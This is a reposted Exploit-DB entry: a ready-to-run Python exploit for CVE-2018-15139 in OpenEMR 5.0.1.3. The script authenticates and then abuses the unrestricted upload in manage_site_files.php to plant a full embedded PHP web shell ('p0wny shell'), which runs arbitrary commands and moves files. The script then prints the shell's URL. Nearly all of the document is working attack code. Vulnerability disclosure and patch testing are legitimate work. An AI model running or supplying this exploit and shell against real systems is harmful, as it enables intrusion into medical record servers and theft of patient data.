OpenEMR 5.0.1.3 – ‘manage_site_files’ Remote Code Execution (Authenticated)

  • 作者: Ron Jost
    日期: 2021-06-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49998/
  • # Exploit Title: OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated)
    # Date 12.06.2021
    # Exploit Author: Ron Jost (Hacker5preme)
    # Vendor Homepage: https://www.open-emr.org/
    # Software Link: https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_3.zip
    # Version: Prior to 5.0.1.4
    # Tested on: Ubuntu 18.04
    # CVE: CVE-2018-15139
    # CWE: CWE-434
    # Documentation: https://github.com/Hacker5preme/Exploits#CVE-2018-15139
    
    '''
    Description:
    Unrestricted file upload in interface/super/manage_site_files.php in versions of OpenEMR before 5.0.1.4 allows a remote
    authenticated attacker to execute arbitrary PHP code by uploading a file with a PHP extension via the images upload
    form and accessing it in the images directory.
    '''
    
    
    '''
    Banner:
    '''
    banner ="""
     ___ _____ ____ ________ ___ _ _____
    / _ \ _ __ ___ _ __ | ____|\/|_ \| ___| / _ \ / | |___ /
     | | | | '_ \ / _ \ '_ \|_| | |\/| | |_) |_____|___ \| | | || | |_ \
     | |_| | |_) |__/ | | | |___| || |_ <|_____|___) | |_| || |_ ___) | 
    \___/| .__/ \___|_| |_|_____|_||_|_| \_\ |____(_)___(_)_(_)____/
     |_|
    
    ______ _ _ 
    | ____|____ __ | | ___ (_) |_ 
    |_| \ \/ / '_ \| |/ _ \| | __|
    | |___ ><| |_) | | (_) | | |_ 
    |_____/_/\_\ .__/|_|\___/|_|\__|
     |_|
    
    """
    print(banner)
    
    
    '''
    Import required modules
    '''
    import argparse
    import requests
    
    
    '''
    User-Input:
    '''
    my_parser = argparse.ArgumentParser(description='OpenEMR Remote Code Execution')
    my_parser.add_argument('-T', '--IP', type=str)
    my_parser.add_argument('-P', '--PORT', type=str)
    my_parser.add_argument('-U', '--PATH', type=str)
    my_parser.add_argument('-u', '--USERNAME', type=str)
    my_parser.add_argument('-p', '--PASSWORD', type=str)
    args = my_parser.parse_args()
    target_ip = args.IP
    target_port = args.PORT
    openemr_path = args.PATH
    username = args.USERNAME
    password = args.PASSWORD
    
    '''
    Authentication:
    '''
    # Preparation:
    session = requests.Session()
    auth_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/main/main_screen.php?auth=login&site=default'
    auth_chek_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/login/login.php?site=default'
    response = session.get(auth_chek_url)
    
    # Header (auth):
    header = {
    'Host': target_ip,
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://' + target_ip,
    'Connection': 'close',
    'Referer': auth_chek_url,
    'Upgrade-Insecure-Requests': '1',
    }
    
    # Body (auth):
    body = {
    'new_login_session_management': '1',
    'authProvider': 'Default',
    'authUser': username,
    'clearPass': password,
    'languageChoice': '1'
    }
    
    # Authentication:
    print('')
    print('[+] Authentication')
    auth = session.post(auth_url,headers=header, data=body)
    
    
    '''
    Exploit:
    '''
    print('')
    print('[+] Uploading Webshell:')
    
    # URL:
    exploit_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/super/manage_site_files.php'
    
    # Headers (Exploit):
    header = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Accept-Language": "de,en-US;q=0.7,en;q=0.3",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "multipart/form-data; boundary=---------------------------31900464228840324774249185339",
    "Origin": "http://" + target_ip,
    "Connection": "close",
    "Referer": 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/super/manage_site_files.php',
    "Upgrade-Insecure-Requests": "1"
    }
    
    # Body (Exploit):
    body = "-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"form_filename\"\r\n\r\n\r\n-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"form_filedata\"\r\n\r\n\r\n-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n12000000\r\n-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"form_image\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n$stdout = array();\n\nif (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n// pass\n} elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\nchdir($cwd);\npreg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\nchdir($match[1]);\n} elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\nchdir($cwd);\npreg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\nreturn featureDownload($match[1]);\n} else {\nchdir($cwd);\nexec($cmd, $stdout);\n}\n\nreturn array(\n\"stdout\" => $stdout,\n\"cwd\" => getcwd()\n);\n}\n\nfunction featurePwd() {\nreturn array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\nchdir($cwd);\nif ($type == 'cmd') {\n$cmd = \"compgen -c $fileName\";\n} else {\n$cmd = \"compgen -f $fileName\";\n}\n$cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n$files = explode(\"\\n\", shell_exec($cmd));\nreturn array(\n'files' => $files,\n);\n}\n\nfunction featureDownload($filePath) {\n$file = @file_get_contents($filePath);\nif ($file === FALSE) {\nreturn array(\n'stdout' => array('File not found / no read permission.'),\n'cwd' => getcwd()\n);\n} else {\nreturn array(\n'name' => basename($filePath),\n'file' => base64_encode($file)\n);\n}\n}\n\nfunction featureUpload($path, $file, $cwd) {\nchdir($cwd);\n$f = @fopen($path, 'wb');\nif ($f === FALSE) {\nreturn array(\n'stdout' => array('Invalid path / no write permission.'),\n'cwd' => getcwd()\n);\n} else {\nfwrite($f, base64_decode($file));\nfclose($f);\nreturn array(\n'stdout' => array('Done.'),\n'cwd' => getcwd()\n);\n}\n}\n\nif (isset($_GET[\"feature\"])) {\n\n$response = NULL;\n\nswitch ($_GET[\"feature\"]) {\ncase \"shell\":\n$cmd = $_POST['cmd'];\nif (!preg_match('/2>/', $cmd)) {\n$cmd .= ' 2>&1';\n}\n$response = featureShell($cmd, $_POST[\"cwd\"]);\nbreak;\ncase \"pwd\":\n$response = featurePwd();\nbreak;\ncase \"hint\":\n$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\nbreak;\ncase 'upload':\n$response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n}\n\nheader(\"Content-Type: application/json\");\necho json_encode($response);\ndie();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n<head>\n<meta charset=\"UTF-8\" />\n<title>p0wny@shell:~#</title>\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n<style>\nhtml, body {\nmargin: 0;\npadding: 0;\nbackground: #333;\ncolor: #eee;\nfont-family: monospace;\n}\n\n*::-webkit-scrollbar-track {\nborder-radius: 8px;\nbackground-color: #353535;\n}\n\n*::-webkit-scrollbar {\nwidth: 8px;\nheight: 8px;\n}\n\n*::-webkit-scrollbar-thumb {\nborder-radius: 8px;\n-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\nbackground-color: #bcbcbc;\n}\n\n#shell {\nbackground: #222;\nmax-width: 800px;\nmargin: 50px auto 0 auto;\nbox-shadow: 0 0 5px rgba(0, 0, 0, .3);\nfont-size: 10pt;\ndisplay: flex;\nflex-direction: column;\nalign-items: stretch;\n}\n\n#shell-content {\nheight: 500px;\noverflow: auto;\npadding: 5px;\nwhite-space: pre-wrap;\nflex-grow: 1;\n}\n\n#shell-logo {\nfont-weight: bold;\ncolor: #FF4180;\ntext-align: center;\n}\n\n@media (max-width: 991px) {\n#shell-logo {\nfont-size: 6px;\nmargin: -25px 0;\n}\n\nhtml, body, #shell {\nheight: 100%;\nwidth: 100%;\nmax-width: none;\n}\n\n#shell {\nmargin-top: 0;\n}\n}\n\n@media (max-width: 767px) {\n#shell-input {\nflex-direction: column;\n}\n}\n\n@media (max-width: 320px) {\n#shell-logo {\nfont-size: 5px;\n}\n}\n\n.shell-prompt {\nfont-weight: bold;\ncolor: #75DF0B;\n}\n\n.shell-prompt > span {\ncolor: #1BC9E7;\n}\n\n#shell-input {\ndisplay: flex;\nbox-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\nborder-top: rgba(255, 255, 255, .05) solid 1px;\n}\n\n#shell-input > label {\nflex-grow: 0;\ndisplay: block;\npadding: 0 5px;\nheight: 30px;\nline-height: 30px;\n}\n\n#shell-input #shell-cmd {\nheight: 30px;\nline-height: 30px;\nborder: none;\nbackground: transparent;\ncolor: #eee;\nfont-family: monospace;\nfont-size: 10pt;\nwidth: 100%;\nalign-self: center;\n}\n\n#shell-input div {\nflex-grow: 1;\nalign-items: stretch;\n}\n\n#shell-input input {\noutline: none;\n}\n</style>\n\n<script>\nvar CWD = null;\nvar commandHistory = [];\nvar historyPosition = 0;\nvar eShellCmdInput = null;\nvar eShellContent = null;\n\nfunction _insertCommand(command) {\neShellContent.innerHTML += \"\\n\\n\";\neShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\neShellContent.innerHTML += escapeHtml(command);\neShellContent.innerHTML += \"\\n\";\neShellContent.scrollTop = eShellContent.scrollHeight;\n}\n\nfunction _insertStdout(stdout) {\neShellContent.innerHTML += escapeHtml(stdout);\neShellContent.scrollTop = eShellContent.scrollHeight;\n}\n\nfunction _defer(callback) {\nsetTimeout(callback, 0);\n}\n\nfunction featureShell(command) {\n\n_insertCommand(command);\nif (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\nfeatureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n} else if (/^\\s*clear\\s*$/.test(command)) {\n// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\neShellContent.innerHTML = '';\n} else {\nmakeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\nif (response.hasOwnProperty('file')) {\nfeatureDownload(response.name, response.file)\n} else {\n_insertStdout(response.stdout.join(\"\\n\"));\nupdateCwd(response.cwd);\n}\n});\n}\n}\n\nfunction featureHint() {\nif (eShellCmdInput.value.trim().length === 0) return;// field is empty -> nothing to complete\n\nfunction _requestCallback(data) {\nif (data.files.length <= 1) return;// no completion\n\nif (data.files.length === 2) {\nif (type === 'cmd') {\neShellCmdInput.value = data.files[0];\n} else {\nvar currentValue = eShellCmdInput.value;\neShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n}\n} else {\n_insertCommand(eShellCmdInput.value);\n_insertStdout(data.files.join(\"\\n\"));\n}\n}\n\nvar currentCmd = eShellCmdInput.value.split(\" \");\nvar type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\nvar fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\nmakeRequest(\n\"?feature=hint\",\n{\nfilename: fileName,\ncwd: CWD,\ntype: type\n},\n_requestCallback\n);\n\n}\n\nfunction featureDownload(name, file) {\nvar element = document.createElement('a');\nelement.setAttribute('href', 'data:application/octet-stream;base64,' + file);\nelement.setAttribute('download', name);\nelement.style.display = 'none';\ndocument.body.appendChild(element);\nelement.click();\ndocument.body.removeChild(element);\n_insertStdout('Done.');\n}\n\nfunction featureUpload(path) {\nvar element = document.createElement('input');\nelement.setAttribute('type', 'file');\nelement.style.display = 'none';\ndocument.body.appendChild(element);\nelement.addEventListener('change', function () {\nvar promise = getBase64(element.files[0]);\npromise.then(function (file) {\nmakeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n_insertStdout(response.stdout.join(\"\\n\"));\nupdateCwd(response.cwd);\n});\n}, function () {\n_insertStdout('An unknown client-side error occurred.');\n});\n});\nelement.click();\ndocument.body.removeChild(element);\n}\n\nfunction getBase64(file, onLoadCallback) {\nreturn new Promise(function(resolve, reject) {\nvar reader = new FileReader();\nreader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\nreader.onerror = reject;\nreader.readAsDataURL(file);\n});\n}\n\nfunction genPrompt(cwd) {\ncwd = cwd || \"~\";\nvar shortCwd = cwd;\nif (cwd.split(\"/\").length > 3) {\nvar splittedCwd = cwd.split(\"/\");\nshortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n}\nreturn \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n}\n\nfunction updateCwd(cwd) {\nif (cwd) {\nCWD = cwd;\n_updatePrompt();\nreturn;\n}\nmakeRequest(\"?feature=pwd\", {}, function(response) {\nCWD = response.cwd;\n_updatePrompt();\n});\n\n}\n\nfunction escapeHtml(string) {\nreturn string\n.replace(/&/g, \"&\")\n.replace(/</g, \"<\")\n.replace(/>/g, \">\");\n}\n\nfunction _updatePrompt() {\nvar eShellPrompt = document.getElementById(\"shell-prompt\");\neShellPrompt.innerHTML = genPrompt(CWD);\n}\n\nfunction _onShellCmdKeyDown(event) {\nswitch (event.key) {\ncase \"Enter\":\nfeatureShell(eShellCmdInput.value);\ninsertToHistory(eShellCmdInput.value);\neShellCmdInput.value = \"\";\nbreak;\ncase \"ArrowUp\":\nif (historyPosition > 0) {\nhistoryPosition--;\neShellCmdInput.blur();\neShellCmdInput.value = commandHistory[historyPosition];\n_defer(function() {\neShellCmdInput.focus();\n});\n}\nbreak;\ncase \"ArrowDown\":\nif (historyPosition >= commandHistory.length) {\nbreak;\n}\nhistoryPosition++;\nif (historyPosition === commandHistory.length) {\neShellCmdInput.value = \"\";\n} else {\neShellCmdInput.blur();\neShellCmdInput.focus();\neShellCmdInput.value = commandHistory[historyPosition];\n}\nbreak;\ncase 'Tab':\nevent.preventDefault();\nfeatureHint();\nbreak;\n}\n}\n\nfunction insertToHistory(cmd) {\ncommandHistory.push(cmd);\nhistoryPosition = commandHistory.length;\n}\n\nfunction makeRequest(url, params, callback) {\nfunction getQueryString() {\nvar a = [];\nfor (var key in params) {\nif (params.hasOwnProperty(key)) {\na.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n}\n}\nreturn a.join(\"&\");\n}\nvar xhr = new XMLHttpRequest();\nxhr.open(\"POST\", url, true);\nxhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\nxhr.onreadystatechange = function() {\nif (xhr.readyState === 4 && xhr.status === 200) {\ntry {\nvar responseJson = JSON.parse(xhr.responseText);\ncallback(responseJson);\n} catch (error) {\nalert(\"Error while parsing response: \" + error);\n}\n}\n};\nxhr.send(getQueryString());\n}\n\ndocument.onclick = function(event) {\nevent = event || window.event;\nvar selection = window.getSelection();\nvar target = event.target || event.srcElement;\n\nif (target.tagName === \"SELECT\") {\nreturn;\n}\n\nif (!selection.toString()) {\neShellCmdInput.focus();\n}\n};\n\nwindow.onload = function() {\neShellCmdInput = document.getElementById(\"shell-cmd\");\neShellContent = document.getElementById(\"shell-content\");\nupdateCwd();\neShellCmdInput.focus();\n};\n</script>\n</head>\n\n<body>\n<div id=\"shell\">\n<pre id=\"shell-content\">\n<div id=\"shell-logo\">\n___ ______ ___ <span></span>\n _ __/ _ \\_____ ___ _/ __ \\ ___| |__ ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_.._|<span></span>\n| |_) | |_| |\\ VV /| | | | |_| | | (_| \\__ \\ | | |__/ | |_ |__|<span></span>\n| .__/ \\___/\\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_)|_||_|<span></span>\n|_| |___/\\____/<span></span>\n</div>\n</pre>\n<div id=\"shell-input\">\n<label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n<div>\n<input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n</div>\n</div>\n</div>\n</body>\n\n</html>\n\r\n-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"form_dest_filename\"\r\n\r\n\r\n-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"form_education\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"bn_save\"\r\n\r\nSave\r\n-----------------------------31900464228840324774249185339--\r\n"
    
    # Send Exploit:
    session.post(exploit_url, headers=header, data=body)
    
    # Finish
    path = 'http://' + target_ip + ':' + target_port + openemr_path + '/sites/default/images/shell.php'
    print('[+] Webshell: ' + path)